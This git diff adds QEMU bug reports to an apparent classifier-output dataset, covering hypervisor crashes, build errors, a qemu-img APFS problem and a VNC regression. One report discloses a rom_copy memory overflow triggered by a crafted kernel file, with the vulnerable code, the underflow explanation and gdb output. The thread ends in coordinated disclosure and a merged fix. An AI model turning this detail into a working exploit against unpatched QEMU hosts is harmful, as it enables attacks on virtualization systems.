+cpu cores : 4 +apicid : 19 +initial apicid : 19 +fpu : yes +fpu_exception : yes +cpuid level : 11 +wp : yes +flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall pdpe1gb rdtscp lm constant_tsc arch_perfmon pebs bts rep_good xtopology nonstop_tsc aperfmperf pni dtes64 monitor ds_cpl vmx smx est tm2 ssse3 cx16 xtpr pdcm dca sse4_1 sse4_2 popcnt lahf_lm ida arat tpr_shadow vnmi flexpriority ept vpid +bogomips : 4800.19 +clflush size : 64 +cache_alignment : 64 +address sizes : 40 bits physical, 48 bits virtual +power management: + +Performance: + +CPU BOGOMIPS: 76803.21 +REGEX/SECOND: 850066 +HD SIZE: 33.96 GB (/dev/mapper/pve-root) +BUFFERED READS: 333.03 MB/sec +AVERAGE SEEK TIME: 6.10 ms +FSYNCS/SECOND: 2948.85 +DNS EXT: 131.42 ms +DNS INT: 1.28 ms + +I've been successfully running 2 Windows 2003 32-Bit Standard Edition Servers on this server for over a month now. Both were migrations from actual physical servers. However, I've continued to receive random crashes on a Windows 2003 64-bit standard edition running terminal services, which was a fresh install. The server runs fine for hours under a decent load (20 users) and then will crash with a 3B bug check code (System_Service_Exception). I opened a ticket with Microsoft and submitted multiple memory dumps and their engineers suggested the following: + +Dump Analyses Result: +=================== + +What happened is that the OS initiated an APIC /software interrupt. This is handled by the APIC in real hardware. In your Virtual Environment case where you are using Linux based VM – Proxmox, the VM implementation somehow has to make it happen on a virtual machine with the same latency in the virtual APIC. The problem is that there is a latency between when it was initiated and when it happened. + + +Below are the details for understanding the process or concept of APIC interrupts: + +What the Local APIC Is +The Local APIC (LAPIC) is a circuit that is part of the CPU chip. It contains these basic elements: +A mechanism for generating +1. interrupts +2. A mechanism for accepting interrupts +3. A timer + +If you have a multiprocessor system, the APIC's are wired together so they can communicate. So the LAPIC on CPU 0 can communicate with the LAPIC on CPU 1, etc. + + +What the IO APIC Is + +This is a separate chip that is wired to the Local APIC's so it can forward interrupts on to the CPU chips. It is programmed similar to the 8259's but has more flexibility. +It is wired to the same bus as the Local APIC's so it can communicate with them. + +Note:- In our scenario, it’s all Virtualized interrupts or calls because of hypervisor in picture and thus we need to contact the VM application vendor to get a check of this latency issue in APIC interrupt. +------------------------------------------------End of Message---------------------------------- + + + +Their engineers are saying that there is a latency issue with APIC. I'm not exactly sure how this can be corrected. Is this a known issue and is their a solution to this problem. I love Proxmox, but my main reason for using it was to upgrade my terminal server to better hardware, while leveraging it for other virtual machines as well. The forum administrator for Proxmox, suggested I bring this issue to your attention. + +Since there hasn't been an answer to this within the last years, it looks like nobody here knows about Proxmox problems. So let's close this ticket... + diff --git a/results/classifier/deepseek-1/output/hypervisor/720657 b/results/classifier/deepseek-1/output/hypervisor/720657 new file mode 100644 index 00000000..6fb9ae8a --- /dev/null +++ b/results/classifier/deepseek-1/output/hypervisor/720657 @@ -0,0 +1,30 @@ + +SVM intercept for VINTR exits too early + +The following happens with QEMU-0.14-rc2. QEMU-0.13 did not have this problem. + +A guest operating system running inside an SVM VM contains the following code sequence: +c000002b: fb sti +c000002c: 0f 35 sysexit + +The following is a list of exits that occur at guest RIP 0xc000002c (other exits omitted for clarity): + +exit=0x60 int_shadow=0x1 int_control=0x1000000 inj=0x600000000 rip=0xc000002c +entry: int_shadow=0x1 int_control=0x1000000 inj=0x600000000 + +(exit due to physical interrupt, correctly reports STI blocking, entry does not inject anything) + +exit=0x60 int_shadow=0x1 int_control=0x1000000 inj=0x600000000 rip=0xc000002c +entry: int_shadow=0x1 int_control=0x1100100 inj=0x600000000 + +(exit due to physical interrupt, correctly reports STI blocking, entry pends a VINTR to cause a VM exit when interrupt window opens. VINTR is being intercepted by the hypervisor.) + +exit=0x64 int_shadow=0x0 int_control=0x1100100 inj=0x600000000 rip=0xc000002c +entry: int_shadow=0x0 int_control=0x1000000 inj=0x6800000a0 + +(exit due to VINTR. At this point STI blocking is still effective - though not reported. Actually, the VINTR exit should occur AFTER the SYSEXIT instruction, not after STI. Due to this bug, the hypervisor injects vector 0xa0 into an interrupt shadow, and things break). + +Triaging old bug tickets ... can you still reproduce this problem with the latest version of QEMU? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/hypervisor/928676 b/results/classifier/deepseek-1/output/hypervisor/928676 new file mode 100644 index 00000000..1667ebbb --- /dev/null +++ b/results/classifier/deepseek-1/output/hypervisor/928676 @@ -0,0 +1,43 @@ + +QEMU does not support Westmere (Intel Xeon) CPU model + +Setting the CPU model to Westmere (Intel Xeon server CPU) is not possible. + +libvirt uses 'core2duo' as fallback: +https://bugzilla.redhat.com/show_bug.cgi?id=708927 + + +$ qemu -cpu ? +x86 [n270] +x86 [athlon] +x86 [pentium3] +x86 [pentium2] +x86 [pentium] +x86 [486] +x86 [coreduo] +x86 [kvm32] +x86 [qemu32] +x86 [kvm64] +x86 [core2duo] +x86 [phenom] +x86 [qemu64] + +$ qemu --version +QEMU emulator version 1.0 (Debian 1.0+dfsg-3), Copyright (c) 2003-2008 Fabrice Bellard + +An application test with high cpu load gives the timing statistics give: + + + bare metal virtual percent + +X4560 cpu 50m28s 54m0s 107% + +X5690 (westermere) 29m20s 38m0s 134% + + + +Westmere seems to be available in the latest version of QEMU: +$ qemu-system-x86_64 -cpu ? | grep Westmere +x86 Westmere Westmere E56xx/L56xx/X56xx (Nehalem-C) +==> Setting status to "Fix released" now. + diff --git a/results/classifier/deepseek-1/output/hypervisor/992067 b/results/classifier/deepseek-1/output/hypervisor/992067 new file mode 100644 index 00000000..aec5cef0 --- /dev/null +++ b/results/classifier/deepseek-1/output/hypervisor/992067 @@ -0,0 +1,34 @@ + +Windows 2008R2 very slow cold boot when >4GB memory + +I've been having a consistent problem booting 2008R2 guests with 4096MB of RAM or greater. On the initial boot the KVM process starts out with a ~200MB memory allocation and will use 100% of all CPU allocated to it. The RES memory of the KVM process slowly rises by around 200mb every few minutes until it reaches it's memory allocation (several hours in some cases). Whilst this is happening the guest will usually blue screen with the message of - + +A clock interrupt was not received on a secondary processor within the allocated time interval + +If I let the KVM process continue to run it will eventually allocate the required memory the guest will run at full speed, usually restarting after the blue screen and booting into startup repair. From here you can restart it and it will boot perfectly. Once booted the guest has no performance issues at all. + +I've tried everything I could think of. Removing PAE, playing with huge pages, different kernels, different userspaces, different systems, different backing file systems, different processor feature set, with or without Virtio etc. My best theory is that the problem is caused by Windows 2008 zeroing out all the memory on boot and something is causing this to be held up or slowed to a crawl. The hosts always have memory free to boot the guest and are not using swap at all. + +Nothing so far has solved the issue. A few observations I've made about the issue are - +Large memory 2008R2 guests seem to boot fine (or with a small delay) when they are the first to boot on the host after a reboot +Sometimes dropping the disk cache (echo 1 > /proc/sys/vm/drop_caches) will cause them to boot faster + + +The hosts I've tried are - +All Nehalem based (5540, 5620 and 5660) +Host ram of 48GB, 96GB and 192GB +Storage on NFS, Gluster and local (ext4, xfs and zfs) +QED, QCOW and RAW formats +Scientific Linux 6.1 with the standard kernel 2.6.32, 2.6.38 and 3.3.1 +KVM userspaces 0.12, 0.14 and (currently) 0.15.1 + +This should be resolved by using Hyper-V relaxed timers which is in the latest development version of QEMU. You would need to add -cpu host,+hv_relaxed to the command line to verify this. + +Thanks for the quick reply, + +I pulled the latest version from Git and on first attempt it said the hv_relaxed feature was not present. I checked the source and the 'hv_relaxed' feature was not included in a 'feature_name' array so the flag was being discarded before it could be enabled. + +Once added in to the 'feature_name' array it was enabled but the VM crashes on boot with a blue screen and the error message "Phase0_exception" followed by a reboot. + +Triaging old bug tickets... QEMU 0.12/0.14/0.15 is pretty outdated nowadays. Can you still reproduce this behavior with the latest version of QEMU? If not, I think we should close this bug... + diff --git a/results/classifier/deepseek-1/output/identifiers./1531632 b/results/classifier/deepseek-1/output/identifiers./1531632 new file mode 100644 index 00000000..4403babc --- /dev/null +++ b/results/classifier/deepseek-1/output/identifiers./1531632 @@ -0,0 +1,116 @@ + +Can't compile qemu because of errors in the Xen code + +I'm using Arch Linux, with all needed libs packages installed via ABS (compiled from source). +I tried to clone the master repository, the v2.5.0 and the stable-2.4.0, all I had the same problems: + +First I have to disable -Werror, because it claims about some uninitialized variables. + +Trying to compile the code, it stops when compiling the xen code (hw/block/xendisk.o), complaining that ioservid_t is declared twice, first as 16bit and then as 32bit. + +Output of make: + + CC hw/block/xen_disk.o +In file included from /home/leo/qemu/include/hw/xen/xen_backend.h:4:0, + from /home/leo/qemu/hw/block/xen_disk.c:39: +/home/leo/qemu/include/hw/xen/xen_common.h:198:18: error: conflicting types for ‘ioservid_t’ + typedef uint16_t ioservid_t; + ^ +In file included from /usr/include/xenctrl.h:37:0, + from /home/leo/qemu/include/hw/xen/xen_common.h:9, + from /home/leo/qemu/include/hw/xen/xen_backend.h:4, + from /home/leo/qemu/hw/block/xen_disk.c:39: +/usr/include/xen/xen.h:353:18: note: previous declaration of ‘ioservid_t’ was here + typedef uint32_t ioservid_t; + ^ +In file included from /home/leo/qemu/include/hw/xen/xen_backend.h:4:0, + from /home/leo/qemu/hw/block/xen_disk.c:39: +/home/leo/qemu/include/hw/xen/xen_common.h: In function ‘xen_get_ioreq_server_info’: +/home/leo/qemu/include/hw/xen/xen_common.h:256:36: error: ‘HVM_PARAM_IOREQ_PFN’ undeclared (first use in this function) + rc = xc_get_hvm_param(xc, dom, HVM_PARAM_IOREQ_PFN, ¶m); + ^ +/home/leo/qemu/include/hw/xen/xen_common.h:256:36: note: each undeclared identifier is reported only once for each function it appears in +In file included from /home/leo/qemu/include/hw/xen/xen_backend.h:4:0, + from /home/leo/qemu/hw/block/xen_disk.c:39: +/home/leo/qemu/include/hw/xen/xen_common.h:264:36: error: ‘HVM_PARAM_BUFIOREQ_PFN’ undeclared (first use in this function) + rc = xc_get_hvm_param(xc, dom, HVM_PARAM_BUFIOREQ_PFN, ¶m); + ^ +/home/leo/qemu/rules.mak:57: recipe for target 'hw/block/xen_disk.o' failed +make: *** [hw/block/xen_disk.o] Error 1 +[leo@AlphaArch build]$ make + CC hw/block/xen_disk.o +In file included from /home/leo/qemu/include/hw/xen/xen_backend.h:4:0, + from /home/leo/qemu/hw/block/xen_disk.c:39: +/home/leo/qemu/include/hw/xen/xen_common.h:198:18: error: conflicting types for ‘ioservid_t’ + typedef uint16_t ioservid_t; + ^ +In file included from /usr/include/xenctrl.h:37:0, + from /home/leo/qemu/include/hw/xen/xen_common.h:9, + from /home/leo/qemu/include/hw/xen/xen_backend.h:4, + from /home/leo/qemu/hw/block/xen_disk.c:39: +/usr/include/xen/xen.h:353:18: note: previous declaration of ‘ioservid_t’ was here + typedef uint32_t ioservid_t; + ^ +In file included from /home/leo/qemu/include/hw/xen/xen_backend.h:4:0, + from /home/leo/qemu/hw/block/xen_disk.c:39: +/home/leo/qemu/include/hw/xen/xen_common.h: In function ‘xen_get_ioreq_server_info’: +/home/leo/qemu/include/hw/xen/xen_common.h:256:36: error: ‘HVM_PARAM_IOREQ_PFN’ undeclared (first use in this function) + rc = xc_get_hvm_param(xc, dom, HVM_PARAM_IOREQ_PFN, ¶m); + ^ +/home/leo/qemu/include/hw/xen/xen_common.h:256:36: note: each undeclared identifier is reported only once for each function it appears in +In file included from /home/leo/qemu/include/hw/xen/xen_backend.h:4:0, + from /home/leo/qemu/hw/block/xen_disk.c:39: +/home/leo/qemu/include/hw/xen/xen_common.h:264:36: error: ‘HVM_PARAM_BUFIOREQ_PFN’ undeclared (first use in this function) + rc = xc_get_hvm_param(xc, dom, HVM_PARAM_BUFIOREQ_PFN, ¶m); + ^ +/home/leo/qemu/rules.mak:57: recipe for target 'hw/block/xen_disk.o' failed +make: *** [hw/block/xen_disk.o] Error 1 +[leo@AlphaArch build]$ make + CC hw/block/xen_disk.o +In file included from /home/leo/qemu/include/hw/xen/xen_backend.h:4:0, + from /home/leo/qemu/hw/block/xen_disk.c:39: +/home/leo/qemu/include/hw/xen/xen_common.h:198:18: error: conflicting types for ‘ioservid_t’ + typedef uint16_t ioservid_t; + ^ +In file included from /usr/include/xenctrl.h:37:0, + from /home/leo/qemu/include/hw/xen/xen_common.h:9, + from /home/leo/qemu/include/hw/xen/xen_backend.h:4, + from /home/leo/qemu/hw/block/xen_disk.c:39: +/usr/include/xen/xen.h:353:18: note: previous declaration of ‘ioservid_t’ was here + typedef uint32_t ioservid_t; + ^ +In file included from /home/leo/qemu/include/hw/xen/xen_backend.h:4:0, + from /home/leo/qemu/hw/block/xen_disk.c:39: +/home/leo/qemu/include/hw/xen/xen_common.h: In function ‘xen_get_ioreq_server_info’: +/home/leo/qemu/include/hw/xen/xen_common.h:256:36: error: ‘HVM_PARAM_IOREQ_PFN’ undeclared (first use in this function) + rc = xc_get_hvm_param(xc, dom, HVM_PARAM_IOREQ_PFN, ¶m); + ^ +/home/leo/qemu/include/hw/xen/xen_common.h:256:36: note: each undeclared identifier is reported only once for each function it appears in +In file included from /home/leo/qemu/include/hw/xen/xen_backend.h:4:0, + from /home/leo/qemu/hw/block/xen_disk.c:39: +/home/leo/qemu/include/hw/xen/xen_common.h:264:36: error: ‘HVM_PARAM_BUFIOREQ_PFN’ undeclared (first use in this function) + rc = xc_get_hvm_param(xc, dom, HVM_PARAM_BUFIOREQ_PFN, ¶m); + ^ +/home/leo/qemu/rules.mak:57: recipe for target 'hw/block/xen_disk.o' failed +make: *** [hw/block/xen_disk.o] Error 1 + +Can you post the `configure` command line you used when you try to compile? + +Hello pranith, + + Well, as I'm using the "ABS" system from Arch Linux, I had to study how it compile things, but I found it: + +./configure --prefix=/usr --sysconfdir=/etc --audio-drv-list='pa alsa sdl' \ + --python=/usr/bin/python2 --smbd=/usr/bin/smbd \ + --enable-docs --libexecdir=/usr/lib/qemu \ + --disable-gtk --enable-linux-aio --enable-seccomp \ + --enable-spice --localstatedir=/var \ + --enable-tpm \ + --enable-modules --enable-{rbd,glusterfs,libiscsi,curl} + +Then I downloaded a copy of qemu with git and I run the configure help (configure --help), then I saw that I can "enable/disable" xen, so I added the ---disable-xen to the above line in the PKGBUILD file from ABS and it compiled. +So, on **my** box I just had to disable Xen as I don't use it. +Thank you for your help. + +OK. I am closing this then. :) + diff --git a/results/classifier/deepseek-1/output/image./1738840 b/results/classifier/deepseek-1/output/image./1738840 new file mode 100644 index 00000000..10d8ab00 --- /dev/null +++ b/results/classifier/deepseek-1/output/image./1738840 @@ -0,0 +1,193 @@ + +qemu-img convert qcow2 to raw fails on OS X + +I try to convert a image from qcow2 to raw and the result is a not bootable image. +I dont know if it is a bug in qemu-img convert or with the image it self. + +See this error report for better readability: +https://github.com/coreos/bugs/issues/1121#issuecomment-351968518 + +As a reply here they use 2.9.0 version of + + +$ qemu-img -V +qemu-img version 2.11.0 +Copyright (c) 2003-2017 Fabrice Bellard and the QEMU Project developers + +$ uname -v +Darwin Kernel Version 17.2.0 + +$ mount ./ +/dev/disk1s1 on / (apfs, local, journaled) + +$ wget https://beta.release.core-os.net/amd64-usr/current/coreos_production_openstack_image.img.bz2 + +$ date +Fri Dec 14 17:15:57 CET 2017 + +$ bunzip2 coreos_production_openstack_image.img.bz2 + + +$ cp -a coreos_production_openstack_image.img.org coreos_production_openstack_image.img + +$ shasum coreos_production_openstack_image.img.org +ae2119c6f0390dc36f247f7016923ea85de5d8e6 coreos_production_openstack_image.img.org + +$ qemu-img convert -f qcow2 -O raw coreos_production_openstack_image.img.org coreos_production_openstack_image.bin + +$ qemu-system-x86_64 -m 256 -nographic -hda coreos_production_openstack_image.img -boot c +SeaBIOS (version rel-1.11.0-0-g63451fca13-prebuilt.qemu-project.org) + + +iPXE (http://ipxe.org) 00:03.0 C980 PCI2.10 PnP PMM+0FF915A0+0FEF15A0 C980 + + + +Booting from Hard Disk... +GRUB loading.... +Welcome to GRUB! +.... + +$ qemu-system-x86_64 -m 256 -nographic -hda coreos_production_openstack_image.bin -boot c + +SeaBIOS (version rel-1.11.0-0-g63451fca13-prebuilt.qemu-project.org) + + +iPXE (http://ipxe.org) 00:03.0 C980 PCI2.10 PnP PMM+0FF915A0+0FEF15A0 C980 + + + +Booting from Hard Disk... +Boot failed: not a bootable disk +.... + + +$ head -c 8192 coreos_production_openstack_image.bin | hexdump -C +00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| +* +00002000 + +$ qemu-img info coreos_production_openstack_image.bin +image: coreos_production_openstack_image.bin +file format: raw +virtual size: 8.5G (9116319744 bytes) +disk size: 217M + +$ qemu-img info coreos_production_openstack_image.img +image: coreos_production_openstack_image.img +file format: qcow2 +virtual size: 8.5G (9116319744 bytes) +disk size: 785M +cluster_size: 65536 +Format specific information: + compat: 0.10 + refcount bits: 16 + +The same version works on Ubuntu so it looks like its only the Mac version or the new APFS filesystem. + +We've had APFS bugs before, if memory serves... perhaps something to do with sparse gap handling? + +Do you have the ability to take a "good" conversion of the qcow2 file (made on a non-APFS partition) and compare it against the "bad" conversion? + +Highlighting the differences might inspire some ideas as to where this has gone wrong, but at present I don't have an OSX computer to test this with, personally. + + +I gave it a try here: +http://termbin.com/ufv4 + +Its only the first 4096 bytes. + + + + + + +I tried to make a quick grep of the start of the disk in the "bad" raw image and it does not exist anywhere so there is more ot it then just a offset issue. + +rg -M 20 -a --encoding=ascii '\xeb\x63\x90\x00\x00\x00\x00\x00\x00\x00\x00\x00' coreos_production_openstack_image.bin.apfs +or +rg -M 20 -a --encoding=ascii 'GRUB \x00Geom\x00Hard Disk\x00Read\x00 Error' coreos_production_openstack_image.bin.apfs + +The actual data seams to start here: +$ hexdump -C coreos_production_openstack_image.bin.apfs | head +00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| +* +0cc4f000 48 8b 4c 24 58 48 89 4c 24 08 48 89 44 24 10 e8 |H.L$XH.L$.H.D$..| +0cc4f010 3c a5 c5 ff 48 8b 44 24 18 48 8b 4c 24 20 48 8d |<...H.D$.H.L$ H.| +0cc4f020 15 9b e9 3f 00 48 39 c2 75 22 48 8b 44 24 48 48 |...?.H9.u"H.D$HH| +0cc4f030 8b 00 48 89 44 24 10 48 89 0c 24 66 c7 44 24 08 |..H.D$.H..$f.D$.| +0cc4f040 00 00 e8 c9 00 00 00 e9 70 ff ff ff 48 89 04 24 |........p...H..$| +0cc4f050 48 89 54 24 08 48 8d 05 e4 cf 3e 00 48 89 44 24 |H.T$.H....>.H.D$| +0cc4f060 10 e8 1a f1 bb ff 0f 0b e8 a3 5a c0 ff e9 7e fe |..........Z...~.| +0cc4f070 ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc |................| + +and ends here: +261bf040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| +* +21f600000 + +There are som small small zones of zeroes here and there also but not much. + +And the file size seams small and wrong. +$ ls -lah coreos_production_openstack_image.bin.apfs + +$ du -hs coreos_production_openstack_image.bin.apfs + 16M coreos_production_openstack_image.bin.apfs + + + + + + + + + +Adding "-S 0" on the APFS convert only makes the file 8.5Gb but its still "bad". + + +The image apfs2 here is created with "-S 0"and the .bin is a working one generated on a ubuntu machine. + +Strange thing is that this say they are identical: +$ time qemu-img compare -f qcow2 -F raw coreos_production_openstack_image.img.org coreos_production_openstack_image.bin.apfs +Images are identical. + +real 0m0.078s +user 0m0.016s +sys 0m0.054s + +But these are not: +$ time qemu-img compare -f qcow2 -F raw coreos_production_openstack_image.img.org coreos_production_openstack_image.bin.apfs2 +Content mismatch at offset 0! + +real 0m0.026s +user 0m0.009s +sys 0m0.010s + +But hese are identical :) +$ diff coreos_production_openstack_image.bin.apfs coreos_production_openstack_image.bin.apfs2 +$ echo $? +0 + +And of cause these are not identical: +$ diff coreos_production_openstack_image.bin coreos_production_openstack_image.bin.apfs2 +Binary files coreos_production_openstack_image.bin and coreos_production_openstack_image.bin.apfs2 differ + +$ diff coreos_production_openstack_image.bin coreos_production_openstack_image.bin.apfs +Binary files coreos_production_openstack_image.bin and coreos_production_openstack_image.bin.apfs differ + + + + + +In the termbin: + +So the "good" one is on the left, and the "bad" one is on the right. The bad one is ... completely blank for the first 200+ MB? That's not great. + +so: +.bin.apfs: broken raw file, made on apfs, no arguments(?) +.bin.apfs2: broken raw file, made on apfs, `-S 0` ? +.img.org: qcow2 file (original/working?) +.bin: working raw file, made on Ubuntu? + +Do I have that right? + diff --git a/results/classifier/deepseek-1/output/images./1844635 b/results/classifier/deepseek-1/output/images./1844635 new file mode 100644 index 00000000..071ffa0b --- /dev/null +++ b/results/classifier/deepseek-1/output/images./1844635 @@ -0,0 +1,144 @@ + +qemu bug where load linux kernel + +i found a qemu bug ,when the qemu start and parse the kernel file . + +This vulnerability can be exploited. + +thanks + +/**** + + +(gdb) set args -nodefaults -device pc-testdev -device isa-debug-exit,iobase=0xf4,iosize=0x4 -vnc none -serial stdio -device pci-testdev -machine accel=kvm -m 2048 -smp 2 -cpu host -machine kernel_irqchip=split -kernel poc1 +(gdb) r +Starting program: /usr/bin/qemu-system-x86_64 -nodefaults -device pc-testdev -device isa-debug-exit,iobase=0xf4,iosize=0x4 -vnc none -serial stdio -device pci-testdev -machine accel=kvm -m 2048 -smp 2 -cpu host -machine kernel_irqchip=split -kernel ./poc/poc1 +[Thread debugging using libthread_db enabled] +Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". +[New Thread 0x7fffe9a03700 (LWP 30066)] +[New Thread 0x7fffe9202700 (LWP 30068)] +[New Thread 0x7fffe8a01700 (LWP 30069)] + +Thread 1 "qemu-system-x86" received signal SIGSEGV, Segmentation fault. +__memmove_avx_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:249 +249 ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S: No such file or directory. +(gdb) bt +#0 0x00007ffff2390b1f in __memmove_avx_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:249 +#1 0x00005555559ebdcf in rom_copy () +#2 0x00005555558dd1b3 in load_multiboot () +#3 0x00005555558de1c3 in () +#4 0x00005555558e19d1 in pc_memory_init () +#5 0x00005555558e4ee3 in () +#6 0x00005555559e8500 in machine_run_board_init () +#7 0x0000555555834959 in main () +(gdb) c +Continuing. +Couldn't get registers: No such process. +Couldn't get registers: No such process. +(gdb) [Thread 0x7fffe8a01700 (LWP 30069) exited] +[Thread 0x7fffe9202700 (LWP 30068) exited] +[Thread 0x7fffe9a03700 (LWP 30066) exited] + +Program terminated with signal SIGSEGV, Segmentation fault. +The program no longer exists. + +***/ + + + +bug reason and how to fix it +/* + * Copies memory from registered ROMs to dest. Any memory that is contained in + * a ROM between addr and addr + size is copied. Note that this can involve + * multiple ROMs, which need not start at addr and need not end at addr + size. + */ +int rom_copy(uint8_t *dest, hwaddr addr, size_t size) +{ + hwaddr end = addr + size; + uint8_t *s, *d = dest; + size_t l = 0; + Rom *rom; + + QTAILQ_FOREACH(rom, &roms, next) { + if (rom->fw_file) { + continue; + } + if (rom->mr) { + continue; + } + if (rom->addr + rom->romsize < addr) { + continue; + } + if (rom->addr > end) { + break; + } + + d = dest + (rom->addr - addr); + s = rom->data; + l = rom->datasize; + + if ((d + l) > (dest + size)) { + l = dest - d; + } + + if (l > 0) { + memcpy(d, s, l); //*****crash here how to fix check the size l.******// + } + + if (rom->romsize > rom->datasize) { + /* If datasize is less than romsize, it means that we didn't + * allocate all the ROM because the trailing data are only zeros. + */ + + d += l; + l = rom->romsize - rom->datasize; + + if ((d + l) > (dest + size)) { + /* Rom size doesn't fit in the destination area. Adjust to avoid + * overflow. + */ + l = dest - d; + } + + if (l > 0) { + memset(d, 0x0, l); + } + } + } + + return (d + l) - dest; +} + +I can't reproduce the issue with your "poc" binary here. Which version of QEMU were you exactly using? Can you reproduce it with the latest version from the master branch? + +Also there is already a size check some lines earlier: + + if ((d + l) > (dest + size)) { + l = dest - d; + } + +Isn't that sufficient? + +Also please explain how this vulnerability could be exploited? The code patch is not triggered by the guest, is it? + +hi , + + if ((d + l) > (dest + size)) { + l = dest - d; + } +the l will be a very big Unsigned number. + +the check was bypassed,try the new poc . i reproduce it with the latest +version on ubuntu . (apt install qemu , i got the latest version) + +hi Thomas,please try the new poc. +thanks + +Thanks a lot! With the new poc, I was able to reproduce the crash. +I've forwarded the information to the QEMU security team (next time, it would be great if you could do that directly, see https://wiki.qemu.org/SecurityProcess for details), and after some discussion about the severity of the bug, I've now posted a patch to the mailing: + + https://lists.gnu.org/archive/html/qemu-devel/2019-09/msg05960.html + +Fix has been merged: +https://git.qemu.org/?p=qemu.git;a=commitdiff;h=e423455c4f23a1a8 + diff --git a/results/classifier/deepseek-1/output/implementation./1087974 b/results/classifier/deepseek-1/output/implementation./1087974 new file mode 100644 index 00000000..e04c2b4f --- /dev/null +++ b/results/classifier/deepseek-1/output/implementation./1087974 @@ -0,0 +1,368 @@ + +[regression] vnc tight png produces garbled output + +VNC Tight PNG compression did work fine two or three month ago but don't anymore. Now when Tight PNG is used parts of the desktop are shown but they are scrambled together. +I have always tested this feature against QEMU git with noVNC by only allowing Tight PNG compression. + +On Sat, Dec 8, 2012 at 12:46 PM, Tim Hardeck <email address hidden> wrote: +> Public bug reported: +> +> VNC Tight PNG compression did work fine two or three month ago but don't anymore. Now when Tight PNG is used parts of the desktop are shown but they are scrambled together. +> I have always tested this feature against QEMU git with noVNC by only allowing Tight PNG compression. + +Hi Tim, +If you have a few minutes please use git-bisect(1) to identify the +commit that causes the regression. + +The rough steps are: +1. Verify that qemu.git/master is broken and find an older commit +where it works. +2. Use git-bisect(1) to binary search the commit history between these +two points - it will leave you with the commit that caused the +regression. + +Here some quick links to get you started: +http://git-scm.com/book/en/Git-Tools-Debugging-with-Git#Binary-Search +http://blog.evan.pro/getting-started-with-git-bisect-in-60-seconds + +Stefan + + +47683d669f993308c2b84bed4ce64aafb5d7ced4 is the first bad commit +commit 47683d669f993308c2b84bed4ce64aafb5d7ced4 +Author: Gerd Hoffmann <email address hidden> +Date: Thu Oct 11 12:04:33 2012 +0200 + + pixman/vnc: remove rgb_prepare_row* functions + + Let pixman do it instead. + + Signed-off-by: Gerd Hoffmann <email address hidden> + +:040000 040000 653d58e66bf3a2d8240b2f9176979c44ccd720e1 6b6e367a8522cb58b42ad8f204387a354d3b3d00 M ui + + +Just reverting this particular commit isn't enough thou but it is connected. + +On Mon, Dec 10, 2012 at 03:54:58PM -0000, Tim Hardeck wrote: +> 47683d669f993308c2b84bed4ce64aafb5d7ced4 is the first bad commit +> commit 47683d669f993308c2b84bed4ce64aafb5d7ced4 +> Author: Gerd Hoffmann <email address hidden> +> Date: Thu Oct 11 12:04:33 2012 +0200 +> +> pixman/vnc: remove rgb_prepare_row* functions +> +> Let pixman do it instead. +> +> Signed-off-by: Gerd Hoffmann <email address hidden> +> +> :040000 040000 653d58e66bf3a2d8240b2f9176979c44ccd720e1 +> 6b6e367a8522cb58b42ad8f204387a354d3b3d00 M ui +> +> +> Just reverting this particular commit isn't enough thou but it is connected. + +This suggests the conversion to pixman has introduced the bug. + +Tim: can you provide steps to reproduce the bug? + +Stefan + + +* make sure that qemu is compiled with --enable-vnc-png + +* git clone git://github.com/kanaka/noVNC +* edit include/rfb.js at line 50 and comment out or remove all encodings above "['TIGHT_PNG', -260 ]," +* open vnc.html in Firefox or Chrome + +*apply either my patch to QEMU https://lists.nongnu.org/archive/html/qemu-devel/2012-12/msg00869.html or use Websockify https://github.com/kanaka/websockify to get Websocket support. + +* in case of my patch run QEMU with `-vnc :0,websocket` and connect with noVNC to port 5700. + +* in case of Websockify run QEMU with `./websockify.py 5900 -- qemu-system-x86_64 -vnc :0` and connect to port 5900 + +On 12/11/12 09:57, Stefan Hajnoczi wrote: +> On Mon, Dec 10, 2012 at 03:54:58PM -0000, Tim Hardeck wrote: +>> 47683d669f993308c2b84bed4ce64aafb5d7ced4 is the first bad commit +>> commit 47683d669f993308c2b84bed4ce64aafb5d7ced4 +>> Author: Gerd Hoffmann <email address hidden> +>> Date: Thu Oct 11 12:04:33 2012 +0200 +>> +>> pixman/vnc: remove rgb_prepare_row* functions +>> +>> Let pixman do it instead. +>> +>> Signed-off-by: Gerd Hoffmann <email address hidden> +>> +>> :040000 040000 653d58e66bf3a2d8240b2f9176979c44ccd720e1 +>> 6b6e367a8522cb58b42ad8f204387a354d3b3d00 M ui +>> +>> +>> Just reverting this particular commit isn't enough thou but it is connected. +> +> This suggests the conversion to pixman has introduced the bug. + +Quite possible. I've tested tight via 'vncviewer +PreferredEncoding=Tight', but that doesn't force png, so there is a +chance for issues I havn't seen. + +> Tim: can you provide steps to reproduce the bug? + +That will certainly help fixing. + +Also: How garbled? Totally messed up? Just colors wrong? Any other +visible pattern? + +cheers, + Gerd + + + + +On 12/11/12 11:09, Tim Hardeck wrote: +> * make sure that qemu is compiled with --enable-vnc-png +> +> * git clone git://github.com/kanaka/noVNC +> * edit include/rfb.js at line 50 and comment out or remove all encodings above "['TIGHT_PNG', -260 ]," +> * open vnc.html in Firefox or Chrome +> +> *apply either my patch to QEMU https://lists.nongnu.org/archive/html +> /qemu-devel/2012-12/msg00869.html or use Websockify +> https://github.com/kanaka/websockify to get Websocket support. +> +> * in case of my patch run QEMU with `-vnc :0,websocket` and connect +> with noVNC to port 5700. +> +> * in case of Websockify run QEMU with `./websockify.py 5900 -- qemu- +> system-x86_64 -vnc :0` and connect to port 5900 + +Hmm, doesn't reproduce here (using websockify proxy). + +--- a/include/rfb.js ++++ b/include/rfb.js +@@ -48,8 +48,8 @@ var that = {}, // Public API methods + + // In preference order + encodings = [ +- ['COPYRECT', 0x01 ], +- ['TIGHT', 0x07 ], ++// ['COPYRECT', 0x01 ], ++// ['TIGHT', 0x07 ], 